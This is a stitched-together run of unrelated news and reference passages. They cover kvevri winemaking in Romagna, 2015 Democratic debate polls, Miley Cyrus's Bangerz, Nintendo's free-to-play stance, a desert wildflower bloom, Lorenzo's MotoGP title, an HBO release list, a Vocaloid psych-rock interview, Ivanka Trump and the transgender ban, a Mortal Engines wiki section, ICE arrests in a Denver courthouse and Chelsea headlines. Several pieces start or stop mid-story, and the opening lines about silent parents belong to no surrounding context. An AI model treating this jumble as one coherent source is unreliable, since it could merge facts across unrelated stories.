Their emotional children - who have not heard their parents utter a word in conversation - watched on as it unfolded
Otou later explained that he has been giving her the cold shoulder out of jealously for the attention and care the children get.
The initial idea was something of a joke, says Catani, who works on promoting wine culture in his native region of Romagna. But the more he thought about it, the more intrigued he was about the idea. “We talked to some producers in our region, and 15 of them agreed to try doing it. Our goal was to help spread Georgian wine culture, but another goal was to get the producers to collaborate among themselves, which was something they usually didn’t do. This was the only way they could make this kind of wine in a good way,” Catani says.
And so was born what is still an ongoing experiment – to make Italian wine with a Georgian accent (or is it Georgian wine with an Italian accent)?
The experiment is not so far fetched, Catani says. Turns out making wine in clay vessels was once done in Italy – in Roman times, that is. “The Romans stopped using this method more or less after the Barbarian invasion. After that they started using wooden barrels,” he explains. “So we more or less have some 1,500 years of a gap in using kvevris. The Georgians have been using kvevris from the beginning, from when wine grapes were domesticated until now. So they have good knowledge in how to use this.”
After finding his willing Italian vintners, Catani says the next challenge was getting the kvevris over to Romagna from Georgia. In case any broke, 17 of the clay jars were loaded onto a Georgian truck for what ended up being a week-long trek to Italy. Once the kvevris arrived, Catani arranged for a group of Georgian winemakers to come to Italy during the harvest time to show their Italian counterparts how their method works. “The most important information is coming from the Georgian winemakers. You have to put the kvevri in the ground, to regulate the temperature. And you have to use beeswax to seal the kvevri,” Catani explains.
For now, the kvevris – which each hold up to 500 liters of wine – are in the ground and working their magic on the liquid inside them. The plan is to unseal the vessels in May, during an annual food festival in the town of Faenza, and see what the Italian winemakers were able to come up with.
“I think the most interesting things about kvevri wine are that you are drinking history, so your mind can have a wonderful trip and it’s a wonderful idea to drink this ancestral wine,” says Catani. “The second is that it’s a totally natural wine. There is no pesticide and the grapes have not been treated in any way. The third thing is that the kvevri wines are very different from the other wines that you can find sold – the maceration with the skin is very long, the colors are different – the white wines are more orange and the red wines are more violet. They are absolutely different than what is the panorama of other wines in the world. For me, anything that can increase this panorama is absolutely wonderful.”
But now that the post-debate polls have started coming in, we're getting evidence suggesting the insiders got this one right.
NBC News/SurveyMonkey, the Huffington Post/YouGov, and Gravis/One America News have all released polls finding that Clinton won the debate by huge margins among Democratic voters who watched it:
Now, the first two are online polls (though conducted with much more methodologically rigorous techniques than the simple online surveys showing Sanders won), and the third is an overnight robocall poll from a minor firm. But they all ended up with very similar results, and the NBC/SurveyMonkey poll in particular is highly respected in the field as using sound methodological techniques.
It's less clear, however, that Clinton's apparent win actually boosted her level of support. NBC/SurveyMonkey found that she picked up 3 percentage points and Sanders picked up 2 (with Biden being the most hurt). HuffPost/YouGov only asked about whether Clinton or "someone else" should be the nominee, and Clinton picked up 8 points in that question.
And the dust hasn't entirely settled yet. Another thing to look at is how Sanders's numbers move in the next few days. The Vermont senator has been stalled out at about 25 percent support in national polls of Democrats since early September. So it's possible that even if he "lost" the debate in the view of most Democrats, he could have won some new supporters and boosted his numbers higher.
But the evidence so far suggests that Clinton has a lot to be happy about — and that the instincts of DC insiders were generally on target.
Update: A new poll of New Hampshire likely Democratic voters, from Suffolk University and the Boston Globe, was also released Friday, with very similar results. 54 percent thought Clinton won the debate, compared to 24 percent for Sanders. Even worse for Sanders, the poll showed Clinton reclaiming a narrow lead in New Hampshire (she's trailed Sanders in every poll of the state since early August).
Miley Cyrus hosts the iHeartRadio Ultimate Pool Party in Miami. She announced the title of her album Monday. (Photo: Jeff Daly Jeff Daly/Invision/AP)
BANGERZ. That's the name of Miley Cyrus' new album.
The star tweeted the name of her new album when she reached 13 million Twitter followers Tuesday, writing, "If you don't know why my record is called BANGERZ you'll know as soon as you hear it. Nothin but #BANGERZ."
But ... what does it mean?
Head-banging music? Something more risqué? Urban Dictionary defines it as "something that radiates unbelievable swell or swag." Or maybe the star just really likes this line of sports eye protection.
Whatever its meaning, hype is already building. Shortly after the big reveal, a nine-second audio clip of what purports to be a Miley song featuring Britney Spears hit the web. The title? Bangerz, of course.
Can't Stop singing Miley hits? Don't worry. Last month, MTV announced the 20-year-old tabloid favorite would be getting her own hour-long documentary special. Cameras will follow Cyrus as she works on her new album, which is due out later this year.
If you don't know why my record is called BANGERZ you'll know as soon as you hear it. Nothin but #BANGERZ -; Miley Ray Cyrus (@MileyCyrus) August 6, 2013
But Nintendo's leader pledged that he won't add free-to-play or micro-transaction elements to existing series such as Mario or Pokémon, during an interview with Japanese newspaper Nikkei (translated by NeoGAF).
"We [as an industry] can now do distribution by digital means as well as micro-transactions, and the ways to obtain money through supporting entertainment have increased.
"I have no intention of denying charged games or the free-to-play model. If we were to talk about if Nintendo were to do that, however, I do not [have] much inclination to do that with Nintendo's established well-known products, where people trust their interesting-ness."
"...it is not a betrayal but the birth of an interesting idea through our new found freedom, that's all." Satoru Iwata
Iwata gave the example of New Super Mario Bros. 2, which was sold as a complete game. Post-launch, a number of extra Coin Rush courses were created and sold as paid DLC.
"We will not have a proverbial door to full enjoyment that can only be unlocked via payment. However, this is separate from, say, having something where because there are people who want more stages to play in Mario games, we will create new courses for those people and charge for them."
This all changes for new game franchises, though. Iwata said that for fresh ideas he is open to the idea of other methods of payment.
"For new titles with no established base, if, in the process of development, we found it to suit the free-to-play model, we might follow that route, or we might do something like 'cheap-to-play'," he explained.
"Our sales methods have been freed up and I have no desire to extinguish that freedom. If we were to release something like that, it is not a betrayal but the birth of an interesting idea through our new found freedom, that's all. I am not talking about changing how we sell Mario or Pokémon."
The Anza-Borrego Desert is experiencing a superbloom of wildflowers after a wet winter. (zandtrick/Instagram)
A wildflower superbloom is underway in the desert Southwest in March after seven inches of winter rain. Anza-Borrego State Park in California hasn’t experienced a bloom so prolific since at least 1999 according to park officials.
“This is shaping up to be a great wildflower year!” the park wrote on its Facebook page late last week. “…desert lilies are spectacular, and other annuals are coming along nicely! Make plans now to visit near the middle of the month.”
This is why the Anza-Borrego State Park in San Diego County will have its largest flower bloom in years. (Claritza Jimenez/The Washington Post)
The purple sand verbena is widespread in the Anzo-Borrega right now. It’s native to the Southwest and it thrives in well-drained soil. Pristine white primroses are also in bloom among yellow-flowered brittlebush. But, according to hikers’ reports, the most uncommon flower in bloom this year is the purple, notch-leaved phacelia.
It’s “a very rare event,” one hiker noted on the Anza-Borrego Desert Natural History Association website:
With over 7 inches of rain this season, the Borrego Desert is verdant green with flowers in stages of both bud and early bloom. We are on the “uphill side” of the peak bloom and experiencing more open flowers with each passing sunny day. We note a few locations where open flowers can be seen, especially for those willing to wander among the mix of buds and blooms. A top location is anywhere within a two-mile stretch of the Coyote Canyon Jeep Road, north of the north end of DiGiorgio Road with abundant Peirson’s Primoses and others, including a few remarkable Desert Lilies. Another worth a look is the Henderson Canyon Road with patches of pink Sand Verbena, Dune Evening Primroses with their wide white petals, yellow Desert Sunflowers beginning to bloom, and a few Desert Lilies. Around Borrego Springs, roadsides are lined with yellow Desert Dandelions and other wildflowers. These flowers are best seen in the morning, as some blossoms close in the afternoon.
If you want to see the superbloom in-person, the park says the best time to view the flowers is in the morning. They close up in the afternoon heat.
I am the flower that blooms in the desert #anzaborregostatepark #anzaborregodesert #desertflowerbloom #desertwildflowers #wildflowers #happyhealthyexistencetravel #happyhealthyexistence A post shared by Cheyanne Abolt (@happyhealthyexistence) on Mar 8, 2017 at 8:50am PST
#borregosprings #anzaborregodesertstatepark #sonyA7 #wildflowers #cosina #phoenix #1935mm #vintagelens A post shared by Scott Burnham (@snaptphoto) on Mar 7, 2017 at 2:40pm PST
There's a huge variety of color to see, it's hard to turn back, there's many surprises in every step. #superbloom2017 A post shared by Michael Soberanes (@michaelsoberanes) on Mar 8, 2017 at 8:28am PST
Desert blooms in Anza Borrego #cacti #desertflowers #anzaborrego #desert A post shared by Chaz & Brenna (@simplyb.s) on Mar 8, 2017 at 8:01am PST
Jorge Lorenzo has won his third MotoGP title with a victory at the season-ending Valencia GP on Sunday as Valentino Rossi failed to make enough ground from the back of the grid.
Lorenzo entered the race trailing Rossi by seven points but the veteran Italian couldn’t manage more than a fourth-place finish. Rossi, who needed to finish at least second, started last on the grid because of a penalty for kicking Marc Márquez in the previous race.
Valentino Rossi calls Jorge Lorenzo’s MotoGP title a Spanish stitch-up Read more
Lorenzo ended with 330 points, five more than Rossi, who was trying to win his eighth world title and the first since 2009. The 28-year-old Spaniard added to his MotoGP triumphs in 2010 and 2012.
Earlier Danny Kent won the Moto3 title to become Britain’s first motorcycle grand prix world champion since the late Barry Sheene in 1977.
The Moto2 race win went to Spaniard Tito Rabat, with Johann Zarco having already secured the title.
Lorenzo started from pole position and stayed in front at the Ricardo Tormo circuit outside of Valencia. He grabbed Spain’s flag and rode with it around the track in his victory lap.
Márquez, the winner of the last two MotoGP championships, finished the race right behind Lorenzo in second, but never tried to make a significant move for the lead. Dani Pedrosa, winner of two of the last three races, was third to close out the all-Spanish podium.
Lorenzo had a clean start but Rossi quickly moved up the field behind him and had already reached 10th place just two laps into the 30-lap race. Rossi continued to press forward and got to fifth after 10 laps, but couldn’t make much ground after reaching fourth place two laps later. His only chance was if something happened to the riders ahead of him.
There was extra interest in the Valencia GP after Rossi had a role in Márquez’s crash in Malaysia two weeks ago and also accused him of trying to favour his fellow Spaniard in the title race. Rossi appealed his penalty to the Court of Arbitration for Sport, but his request was denied a day before the first practice session in Valencia on Friday.
Rossi needed a second-place finish to secure the title without depending on Lorenzo’s result. He also could have won it by crossing the finish line immediately behind the Spaniard. The Italian struggled in the last part of the season, winning only once in the last 10 races.
Danny Kent becomes first British motorcycle GP world champion since Sheene Read more
Lorenzo hadn’t won since the Aragon GP four races ago but had finished on the podium every time since then. The Yamaha rider ended the year with seven victories, including all four races in Spain.
The 36-year-old Rossi won four races and had only three podium finishes since winning the British GP six races ago.
It was the second time that Rossi entered the season-ending race with the points lead but failed to win the title. He was surpassed in the standings by American Nicky Hayden in 2006 after falling early in the decisive race in Valencia and finishing only 13th.
If you want to celebrate a musical icon: Selena
Twenty years ago, Selena premiered in movie theaters. A biopic about the late crossover Tejano pop star Selena Quintanilla-Pérez, released two years after her murder, Selena is one of the few times mainstream Hollywood cinema made what felt like a genuine overture to Hispanic-Americans in general, and Mexican-Americans in particular. Full of great performances, Selena is the film that made Jennifer Lopez a star and allegedly inspired her to begin her career in music. Charming and emotional, Selena succeeds by being utterly earnest, celebrating the tragically short life of a singer who meant the world to her community. Available July 1.
Because Steven Spielberg can be weird, too: Minority Report
Spielberg is great at wonder and childhood and awe, all those big timeless things that make his movies endure for decades. Whatever. You know what else he’s good at? Freaking creepy-as-hell robo-spiders that scan your eyeballs. Minority Report is Spielberg thrilling in the slick strangeness of science fiction, creating an influential aesthetic that would inform movies for decades. Also, it’s one big Tom Cruise chase scene, and a great one at that. Available July 1.
If you’re ready for some serious funny: Tour de Pharmacy
This is a bit of a cheat since Tour de Pharmacy hasn’t premiered yet, but like the extremely funny Seven Days in Hell before it, Tour de Pharmacy bills itself as a mock 30 for 30–style sports special about a Tour de France–esque cycling race. Reuniting star and co-creator Andy Samberg with Seven Days in Hell writer Murray Miller, Tour de Pharmacy is another cameo-packed absurdist romp, trading in tennis shorts for bikes and doping. Not unlike Popstar: Never Stop Never Stopping, which also comes to Netflix this month, it’ll almost certainly be one of the funniest comedies of the year. Available July 8.
Noteworthy selections in bold.
TV
Game of Thrones (premieres July 16)
Ballers (premieres July 23)
Insecure (premieres July 23)
Room 104 (premieres July 28)
MOVIES
Available July 1
About a Boy
American Gigolo
Bean
The Blair Witch Project
Book of Shadows: Blair Witch 2
Born on the Fourth of July
Cobra
The Dark Knight
Erin Brockovich
Heartburn
Johnny Handsome
K-Pax
Lara Croft: Tomb Raider
Le Divorce
Leatherheads
Loving
The Man Without a Face
Mimic (Extended Version)
Minority Report
Mission: Impossible II
Mr. Deeds
Necessary Roughness
Next Day Air
The Other Side of the Door
Over Her Dead Body
Panic Room
Pearl Harbor (Extended Version)
Platoon
Richie Rich
Robin Hood: Men in Tights
The Rose
Selena
Solaris
Soul Food
Thirteen
Watchmen (Extended Version)
The Women
The X-Files: I Want to Believe (Extended Version)
Available July 8
Popstar: Never Stop Never Stopping
Tour de Pharmacy
Available July 15
Keeping Up With the Joneses
Available July 22
Hacksaw Ridge
Available July 29
Narita is responding to my attempts to wrap my brain around his recent collaborative album Psyche De Loid. According to Spanish label Guerssen (who is releasing the vinyl this month), it’s the first time anyone has featured Vocaloid—a “female android” voice-synthesizing technology normally used in commercial pop music—on a full-on psychedelic guitar-rock album.
And if that wasn’t different enough, Psyche De Loid comprises exclusively of covers from the ’60s and ’70s—Hendrix, Floyd, Jefferson Airplane, Stooges, MC5, Steppenwolf, Vanilla Fudge—all the classics. The results are surprisingly great … hearing the little robot voice chirp sweetly, “Kick out the jams, motherfuck!” keeps getting funnier.
Narita is a hugely respected figure in Japanese music, both for his volcanic acid-fuzz style and for his role in shaping a sound that continues to have a profound influence on musicians from all over the world. His friend Hideo Ikeezumi established P.S.F Records to share High Rise’s music (P.S.F. stands for “Psychedelic Speed Freak”, the name of the High Rise album).
Ikeezumi’s policy of “only releasing what I like” is responsible for the gift of Keiji Haino, Fushitsusha, Kan Mikami, White Heaven, and a slew of other mind-blowing art, from noise rock to free-jazz to electronic to psychedelic folk.
So if it wasn’t a desire to combine Japanese pop with psych rock, then how did the idea for Psyche De Loid come about?
“The owner of U-Rythmix Records, Tsukasa Takahashi, asked P.S.F. Records owner Hideo Ikeezumi to recommend a guitarist who could play some psychedelic songs with a Vocaloid voice,” says Narita. “U-Rythmix had already released some collaboration albums. So Hideo asked me. At first, I was surprised by the offer. But it’s interesting for me to try different things in my career.”
Did Narita play all the instruments? How was it recorded?
“I played guitar and bass, and Nenryo Denchi programmed the other instruments. He’s a desktop music programmer. In Japan, established professionals like him are called ‘Vocaloid producers’. I recorded the guitar and bass in my bedroom and plugged in directly to a Zoom MRS-1608 HD multi-track recorder. I didn’t have a bass, so I hired one from a customer of Modern Music [a Tokyo record shop run by Ikeezumi].”
Psyche De Loid stays faithful to the original versions, but pleasingly, Narita is given plenty of room to unleash his trademark wah-wah solos. And where the technical aspect of his playing was formerly masked under a wall of skull-splitting noise, a more restrained mix gives you a chance to appreciate his skill.
In the beginning with High Rise, I was interested in how to make strange sounds. Now I’m trying to mix noisy and groovy sounds
“In the beginning with High Rise, I was interested in how to make strange sounds. Now I’m trying to mix noisy and groovy sounds. I learned that from old funk music. I have been avoiding any influence from the other Japanese musicians.”
With so many otherwise great records ruined by loudness compression—you need only listen to Iggy’s re-master of Raw Power, which John McBain of Monster Magnet characterized as being “fucking unlistenable”—to see what I mean, Narita’s handling of the mix is refreshing. Despite being a digital recording, the effort to retain the spaciousness and depth of the original analog recordings is apparent.
“I actually mixed these tracks on PC with the free Audacity software. I don’t have ProTools. My favorite old music has a very narrow range, so I tried to highlight the low mid-range. I don’t like high tones.”
How did Narita choose which songs to cover? Why these ones in particular?
“I chose many songs from the ’60s to suit a girl’s voice. Takahashi picked some, too. He added Blue Cheer and MC5.”
Guessing at crossover potential, I half-jokingly suggest that Psyche De Loid could be a gateway to classic rock for kids more into Perfume than Pink Floyd. Has Narita given the record a test run?
“Yes, I have a daughter. Unfortunately, she isn’t interested in my music. But I heard my friend’s kids like this album.”
The contrast of traditional and modern breathes new life into these well-loved classics. The unlikely pairing of a psych rock god and a production wizard has paid off: these guys are having huge fun, and Psyche De Loid is huge fun to listen to.
But I wonder — in light of the news that an AI computer has written a novel indistinguishable from one produced by a professional author — will hit music in the future be composed by robots?
“They say that AI is a substitute for humans,” Narita says. “But music contains ‘magic’ that only humans can create. I tried to make this record a mixture of digital and analog content. If AI tried to learn my guitar style, it would be confused!”
Ivanka Trump apparently had no idea that her father, President Donald Trump, was planning on announcing a ban on transgender people serving in the military, Politico reported.
Several White House aides told Politico that Ivanka and her husband Jared Kushner — who both serve as top advisers to the president — were "blindsided" by the announcement, and that Ivanka only found out about it when Trump tweeted it out last Wednesday.
Ivanka Trump was reportedly surprised by Trump's decision, given that he has supported LGBT rights in the past. He notably reached out to the LGBT community during his acceptance speech at the Republican National Convention last July.
"As president, I will do everything in my power to protect LGBTQ citizens from the violence and oppression of a hateful foreign ideology," he told the crowd, adding, "And, I have to say, as a Republican, it is so nice to hear you cheering for what I just said."
Trump also expressed his support for LGBT rights last June, tweeting, "Thank you to the LGBT community! I will fight for you while Hillary brings in more people that will threaten your freedoms and beliefs."
The president's tweets announcing the ban on transgender military servicemembers came a few weeks after Ivanka Trump publicly expressed her support for LGBT rights. "I am proud to support my LGBTQ friends and the LGBTQ Americans who have made immense contributions to our society and economy," she tweeted during pride month.
Locations [ edit ]
The series is set in a distant future, known as the Traction Era, a time thousands of years in the future, in which Earth has been reduced to wasteland by a devastating conflict known as the Sixty Minute War. Nations no longer exist except in the lands of the Anti-Traction League; whereas Traction Cities—mobile cities mounted on caterpillar tracks—are fiercely independent city-states that use giant mechanical jaws to dismantle one another for resources. Trade is mostly accomplished by airship, or between mobile cities of roughly equal size (unable to devour each other). Old-Tech (technology from before the Traction Era, some from the 21st century) is the most sought-after commodity.
The Great Hunting Ground – Consists of Europe and Northern Asia, and is the domain of the Traction Cities. It is a muddy wasteland, in which the constant movement of the cities has destroyed all vegetation. The land is identified by city-dwellers as the "Out-Country".
– Consists of Europe and Northern Asia, and is the domain of the Traction Cities. It is a muddy wasteland, in which the constant movement of the cities has destroyed all vegetation. The land is identified by city-dwellers as the "Out-Country". The Ice Wastes – New name for the Arctic, wherein Traction Cities use iron runners to skate across the ice. In some places, the ice is thin, and they risk falling in the ocean.
– New name for the Arctic, wherein Traction Cities use iron runners to skate across the ice. In some places, the ice is thin, and they risk falling in the ocean. Africa – Africa is split between the Sahara Desert, governed by Traction Cities, and the southern regions, run by Anti-Tractionists. Areas of the southern continent include the static cities of Zagwa and Tibetsi, and the highland area known as the Mountains of the Moon.
– Africa is split between the Sahara Desert, governed by Traction Cities, and the southern regions, run by Anti-Tractionists. Areas of the southern continent include the static cities of Zagwa and Tibetsi, and the highland area known as the Mountains of the Moon. The Dead Continent – North America, supposedly reduced to an irradiated wasteland by the Sixty Minute War. In Predator's Gold , it is proven not to be completely dead; in the north there are forests with some animals that survived the Sixty Minute War.
– North America, supposedly reduced to an irradiated wasteland by the Sixty Minute War. In , it is proven not to be completely dead; in the north there are forests with some animals that survived the Sixty Minute War. Asia – The stronghold of the Anti-Traction League. Eastern China is evidently irradiated by the War, and the Himalayas are now the centre of civilization, where the mountains make it impossible for cities to approach.
– The stronghold of the Anti-Traction League. Eastern China is evidently irradiated by the War, and the Himalayas are now the centre of civilization, where the mountains make it impossible for cities to approach. Nuevo Maya – New name for South America, severed from North America when "slow bombs" destroyed Central America during the war. Static settlements rule the Andes, but the lowlands are filled with ziggurat Traction Cities. Protagonists Tom and Hester visit Nuevo Maya between the first two books, but it is never visited in the text. Philip Reeve has said that he will explore Nuevo Maya in more detail in the future. [ citation needed ]
– New name for South America, severed from North America when "slow bombs" destroyed Central America during the war. Static settlements rule the Andes, but the lowlands are filled with ziggurat Traction Cities. Protagonists Tom and Hester visit Nuevo Maya between the first two books, but it is never visited in the text. Philip Reeve has said that he will explore Nuevo Maya in more detail in the future. Antarctica – Mentioned only once, and evidently the domain of oil-drilling Traction Cities. Tom and Hester visit Antarctica between the first two books, but it is not described in the text.
– Mentioned only once, and evidently the domain of oil-drilling Traction Cities. Tom and Hester visit Antarctica between the first two books, but it is not described in the text. Australia – Though not mentioned in the original series or Fever Crumb, Philip Reeve says that he will explore places like Australia and Nuevo Maya in the future, as he never had a chance to do so in the original quartet. [ citation needed ]
– Though not mentioned in the original series or Fever Crumb, Philip Reeve says that he will explore places like Australia and Nuevo Maya in the future, as he never had a chance to do so in the original quartet. Anchorage-in-Vineland – The static and stable version of the Traction City of Anchorage, which had decided to stop wandering the Arctic wastes and settle in the green and unspoilt land of Vineland (in North America). When Anchorage was a Traction City, it was not predatory but gained its wealth by trading with other cities under more scrupulous leaders.
The Orbital Defence Initiative (abbreviated ODIN) is an orbital satellite weapon; a very powerful remnant of the Sixty Minute War and a major feature of the third and fourth books in the series: Infernal Devices and A Darkling Plain. It was built as part of the arms race between the American Empire and Greater China. It and MEDUSA are the only superweapons known to have survived until the events of the series, although there are several references to other orbital superweapons (Diamond Bat, Jinju 14, and the Nine Sisters, for example). ODIN is more powerful than MEDUSA and is able to hit almost any target on the surface of the earth. ODIN is implied to be an American satellite, as the code for controlling the satellite comes off an American submarine. The other orbital weapons are hinted to have broken up over time and fallen from the sky.
ODIN is an energy weapon that converts a small nuclear bomb into a directed incinerating beam (a weapon concept similar to the Strategic Defense Initiative's Project Excalibur). This has the power to exterminate cities (both traction and static) and provoke volcanic eruptions. Its beam can be seen for very long distances and seems to interfere with the mechanical minds of Stalkers. Only Shrike's Old-Tech Stalker brain has the mettle to withstand this, although he goes into a fit-like state and it is hinted he is saved by Dr Oenone Zero. Anna Fang is unaffected. Other Stalkers lose all power.
The Tin Book, copied from a US Military document recovered by the refugees of the original Anchorage from a submarine, is a codebook for controlling ODIN. It is stolen by the Lost Boys and, later, Brighton. It then falls into the hands of the Stalker Fang, who memorises its contents and then leaves it to be destroyed on Cloud 9. It is then destroyed in a fire; when Fang is rebuilt by Fishcake, her Stalker alter-ego travels towards Batmunkh Gompa to steal parts for a transmitter with the power to reach ODIN, and then travels on Anna Fang's residence, where there is enough Old-Tech to finish the transmitter. The journey is delayed by Anna Fang's confused and caring personality. At Batmunkh Gompa the Stalker takes control until the final scene.
When ODIN is fired, confusion ensues as both the Green Storm and Traction Cities are targeted. Both sides try to find the transmitter, leading to the Storm's assault of London, but it is Tom, Hester, Shrike, and Pennyroyal who find Fang. As Fang prepares to target all the volcanoes on the earth and so destroy humanity, a final confrontation from Tom brings Anna to the fore once more and she orders ODIN to turn its beam weapon upon itself, destroying it completely.
As well as its immensely powerful weaponry, ODIN appears to show signs of intelligence. When it is awakened, it queries its new position and briefly searches for its old masters, and notes the vast difference in geography since its last awakening. It can also zoom in to an individual's face on the Earth and, although the picture is grainy, it is still identifiable. It can change its orbit when directed to target all over the globe. This, as well as the Stalker minds found among Old-Tech (and Shrike) seems to prove that robots had, by the time of the Sixty Minute War, achieved sentience.
MEDUSA is an Ancient superweapon that was reconstructed in London's Saint Paul's Cathedral in the events of the first book. It's alluded to being an energy beam that radiates from the weapon's firing head. Some people didn't like this as they said it was a waste, as they cannot salvage anything.
Prequel series [ edit ]
The Fever Crumb Series, although released after the Mortal Engines Quartet, takes place centuries or millennia before the events depicted in the Quartet. The main character is Fever Crumb, a London Engineer who is partially descended from the Scriven, a mutant race of humans. The series also introduced the character Shrike, revealing his origins before he became a Stalker.
The Fever Crumb series also visits many of the locations not depicted in the Mortal Engines Quartet.
Characters [ edit ]
Names [ edit ]
A few of the people in the books are named after places in Devon, where Reeve lives, including Chudleigh, Tamerton Foliot and the River Plym. In the quartet, Miss Plym and Chudleigh Pomeroy are both in the Guild of Historians, and Tamarton Foliot is an "Alternative" historian. Both Shrike and Smew are named after birds, and Pennyroyal is named after a flower.[4]
Many of the characters are named after ancient (in the context of the books) brands: Windolene Pye, Daz Gravy, Nutella Eisberg, Napster Varley, and Nabisco Shkin for example.
Friends of Phillip Reeve are also occasionally mentioned in the books; for instance 'Poskitt' is included as a god, clearly referring to Kjartan Poskitt, a friend and the author of books that Reeve has illustrated in the past.
Traction Cities [ edit ]
Some Traction Cities bear present-day names, but some, such as Airhaven and Motoropolis, are invented. All Traction Cities consist of several 'tiers' fixed to a huge hull containing engine rooms, storage hangars, and a large 'gut' where captured towns are dismantled. At the sides are enormous tracks or wheels; and huge hydraulic 'jaws' at the bows to capture smaller towns. Various names are given below:
Airship names [ edit ]
Airships in the quartet carry unusual or quirky names reminiscent of the style of the names of ships in Iain M. Banks' Culture series.
Future [ edit ]
Films [ edit ]
In 2009, Peter Jackson, director of the Lord of the Rings trilogy, expressed interest in directing the film adaptations.[5] He ended up producing and co-writing the film adaptation of the first book in the Quartet. The film is directed by Christian Rivers. The movie is based on the novel Mortal Engines, adapted to screen by Fran Walsh, Philippa Boyens and Peter Jackson. It stars Hugo Weaving, Hera Hilmar, Robert Sheehan, Jihae, Ronan Raftery, Leila George, Patrick Malahide, and Stephen Lang. The film was released in theaters on 6 December 2018.[6]
Comic [ edit ]
Philip Reeve has also mentioned the possibility of a comic set in the world of Mortal Engines. He said that he has been discussing it with David Wyatt and mentioned that a younger Anna Fang would be an interesting character to focus on. Titled The Haunted Sky, it is unknown whether it will be finished or not.
Video games [ edit ]
In an interview with Polygon on 30 October 2018, producer Peter Jackson explained an absence of a game based around the 2018 Mortal Engines movie, saying if that film performs well enough to make a sequel, there will definitely be a videogame to follow.[7][8]
Shattered Stars: A Deepness Within, a FreeSpace 2 mod created for the FreeSpace 2 Source Code Project, although set in the same universe as the film, isn't a Mortal Engines game due to the fact it is set entirely in outer space.[9]
We're still a few weeks away from the annual Burning Man festival in Nevada's Black Rock Desert. I have yet to attend the psychedelic gathering of "radical self-expression" and increasingly plush accomodations for attendant tech tycoons (and I'm not going this year). But I feel like I just survived the craziest Burning Man ever thanks to Neon Fever Dream, a new espionage novel by tech entrepreneur turned author Eliot Peper. I was blown away by Peper's last novel, Cumulus, a near-future, dystopian, techno-thriller about a rogue spy's inflitration of a Google-like company, which was released earlier this year.
In the video, two men wearing ball caps and in plainclothes appear startled when local attorney Whitney Leeds approaches them inside the Lindsey-Flanigan Courthouse and asks if they are ICE agents.
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“Hi. Are you here with ICE?” she asks.
“And you are...?” responds one of the men.
“I’m Whitney. Nice to meet you.”
She extends her hand toward him for a handshake. The man keeps his hands in his sweatshirt pockets.
“Are you here with immigration enforcement?”
“Yes.”
“Are you here to make an arrest?”
“Yes.”
“Do you have a warrant?”
One of the men makes a grimaced face.
In another part of the video, Leeds speaks to a third ICE agent who appears to admit that he does not have a warrant to make an arrest.
When asked, two of the men give Leeds their badge numbers. They refer all of her remaining questions — including whether they'd notified the court staff of their activity — to “the Public Affairs office.”
ICE issued a statement on Friday, February 24, about the video:
“ICE officers and agents do not conduct undercover operations in court rooms. ICE personnel are authorized to wear 'street clothes' and do not have a standard uniform they are required to wear to work. At times, when conducting targeted arrests officers may wear tactical safety gear with law enforcement markings. ICE officers identify themselves to those individuals with whom they engage, whether for the purposes of questioning or arrest. "The ERO officers in question were in possession of a signed administrative arrest warrant at the time of arrest. Form I-200 is the administrative arrest warrant signed by an authorized ICE official that documents an individual arrest. "ICE policy allows officers to enter public buildings, including courthouses, to conduct targeted arrests of individuals.”
That ICE agents are inside the courthouse undercover is not illegal; anybody may enter the courthouse, which is a public space.
But the video underscores a concern among immigration advocates and attorneys: By using the court system to find and detain immigrants, ICE is undermining the judicial system and making people fearful of showing up to court for their trials, including for things like misdemeanor cases.
Just because ICE arrests someone does not mean that they are deportable; there is a separate hearing process to determine that.
"This is what I think ICE doesn't understand: If they pick people up when they're trying to do the right thing, people are going to stop trying to do the right thing because they'll be afraid to go to court," says attorney Hans Meyer of the Meyer Law Office.
Westword spoke with Meyer about this issue last July, when one of his clients was apprehended by ICE agents in a courthouse while the client was trying to resolve a misdemeanor charge unrelated to immigration.
"What's so frustrating was that [my client] was picked up in the process of trying to do the right thing," Meyer said at the time. “I want my clients to comply, I want them to show up to court, I want them to have faith in the system, but when ICE comes in and monkey-wrenches the system, it's very difficult for people to feel like they can still have faith when they got their legs cut out from under them.
"Having ICE go out and round people up for cases where they haven't been found guilty, and they're either defending themselves or working through a resolution, doesn't make sense for anybody, because it sows fear. People have an incentive then not to show up to court," Meyer added.
It's something immigrant communities are already concerned about; at a packed forum on President Donald Trump’s immigration policies held at North High School on February 2, Meyer and Deputy City Attorney Cristal DeHerrera got into a heated exchange after a mother posed a question during a Q&A session about whether it was safe to enter courthouses without risking a run-in with ICE.
After DeHerrera answered “Yes,” Meyer grabbed a microphone and told the room that he has had many clients picked up while reporting to district- and county-level courthouses for trials unrelated to immigration. Meyer said he also has clients who have been picked up while posting bond and while reporting to probation offices.
While he didn’t say that people concerned about their immigration status shouldn’t report to court or to probation offices, he stressed that ICE is indeed using those locations to make apprehensions – a practice that's confirmed by the video his office published on Thursday.
"This undermines community policing and public safety, because it drives entire immigrant communities away from the trust that they want to have in local government," Meyer told Westword after the video was published. "It's clear that ICE couldn't care less about these consequences."
"However, we have faith that the Mayor's Office and Denver City Council will implement substantive protections to prevent ICE from wreaking havoc on our local court system, rebuild trust at the local level, and protect immigrant communities from the Trump administration's brutal mass-deportation plans," he added.
The Meyer Law Office is now leading a charge to pressure Denver and Colorado elected officials to pass sanctuary laws that limit where and when ICE can operate.
In a followup to the video showing the three ICE agents in the Lindsey-Flanigan courthouse, Meyer and his office’s policy director, Julie Gonzales, sat down for a Facebook Live video to explain how people can protect themselves and what they can do to push Denver and Colorado to create sanctuary laws.
In the Facebook video, Gonzales points out that – especially as it appeared that the three ICE agents didn’t have warrants — anyone finding themselves apprehended in such a manner should exercise his or her right to remain silent.
“The Constitution protects everybody, regardless of your immigration status,” she says.
Gonzales adds that when confronted with an ICE agent, undocumented immigrants should “ask the officer: ‘Am I free to leave?’ If the answer is yes…you should leave. If the answer is no…absolutely utilize your right to remain silent. Don’t answer any questions. The only obligation you have in that moment is to give your full name and date of birth to identify yourself.”
The Meyer office has made its own “know your rights” pamphlet, which goes into more detail.
Later in the Facebook video, Meyer adds, “There are things we can do to get ICE out of our courts. We need to pass those policies now.”
He suggests calling members of Denver’s City Council. “Let them know you want ICE out of our courts,” he says. “We want our city to be inclusive and welcoming, and in order for it to be inclusive and welcoming, it has to build those protections against what Donald Trump has said are his clear plans.”
On February 20, the Department of Homeland Security published two memos outlining those plans. It includes hiring an additional 10,000 ICE agents.
This story was updated on Friday, February 24, to include a statement from ICE.
Chelsea top at Christmas for fourth time in PL
Fabregas earns 12th assist in 17 games
Hazard limps off with injury late on
Mourinho delighted by 'spirit and mentality'
